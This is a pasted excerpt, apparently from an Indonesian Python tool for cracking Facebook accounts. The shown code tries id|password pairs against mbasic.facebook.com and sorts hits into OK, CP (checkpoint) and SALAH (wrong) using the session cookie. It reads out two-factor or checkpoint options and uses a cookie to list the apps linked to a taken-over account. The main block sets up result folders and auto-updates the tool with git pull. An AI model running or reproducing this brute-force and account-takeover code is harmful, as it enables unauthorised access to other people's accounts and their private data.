  1071.                     opsi = kent.find_all('option')
  1072.                     if len(opsi)==0:
  1073.                         print('\r%s---> Tap Yes / A2F (Cek Login Di Lite/Mbasic%s)'%(hh,x))
  1074.                     else:
  1075.                         for opsii in opsi:
  1076.                             print('\r%s---> %s%s'%(kk,opsii.text,x))
  1077.                 except:
  1078.                     print('\r%s++++ %s|%s ----> CP       %s'%(b,id,pw,x))
  1079.                     print('\r%s---> Tidak Dapat Mengecek Opsi%s'%(u,x))
  1080.             elif "c_user" in ses.cookies.get_dict().keys():
  1081.                 print('\r%s++++ %s|%s ----> OK       %s'%(h,id,pw,x))
  1082.             else:
  1083.                 print('\r%s++++ %s|%s ----> SALAH       %s'%(x,id,pw,x))
  1084.             love+=1
  1085.         except requests.exceptions.ConnectionError:
  1086.             print('')
  1087.             li = '# KONEKSI INTERNET BERMASALAH, PERIKSA & COBA LAGI'
  1088.             sol().print(mark(li, style='red'))
  1089.             exit()
  1090.     dah = '# DONE'
  1091.     sol().print(mark(dah, style='green'))
  1092.     exit()
  1093. #----------------------[ CEK-APLIKASI ]---------------------#
  1094. def cek_apk(session,cookie):
  1095.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":cookie}).text
  1096.     sop = BeautifulSoup(w,"html.parser")
  1097.     x = sop.find("form",method="post")
  1098.     game = [i.text for i in x.find_all("h3")]
  1099.     if len(game)==0:
  1100.         print(f"\n {N}[{M}!{N}] opshh tidak ada aplikasi aktif di akun ini.")
  1101.     else:
  1102.         for i in range(len(game)):
  1103.             print("   %s%s. %s%s"%(H,i+1,game[i].replace("Ditambahkan pada"," Ditambahkan pada"),N))
  1104.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":cookie}).text
  1105.     sop = BeautifulSoup(w,"html.parser")
  1106.     x = sop.find("form",method="post")
  1107.     game = [i.text for i in x.find_all("h3")]
  1108.     if len(game)==0:
  1109.         print(f"\n {N}[{M}!{N}] opshh tidak ada aplikasi kadaluarsa di akun ini.")
  1110.     else:
  1111.         for i in range(len(game)):
  1112.             print("   %s%s. %s%s"%(K,i+1,game[i].replace("Kedaluwarsa"," Kedaluwarsa"),N))
  1113.  
  1114. #-----------------------[ SYSTEM-CONTROL ]--------------------#
  1115. if __name__=='__main__':
  1116.     try:os.system('git pull')
  1117.     except:pass
  1118.     try:os.mkdir('OK')
  1119.     except:pass
  1120.     try:os.mkdir('CP')
  1121.     except:pass
  1122.     try:os.mkdir('/sdcard/ALVINO-DUMP')
  1123.     except:pass
  1124.     try:os.system('touch .prox.txt')
  1125.     except:pass
  1126.     try:os.system('pkg install play-audio')
  1127.     except:pass
  1128.     try:os.system('clear')
  1129.     except:pass
  1130.     time.sleep(3)
  1131.     login()
Add Comment
Please, Sign In to add comment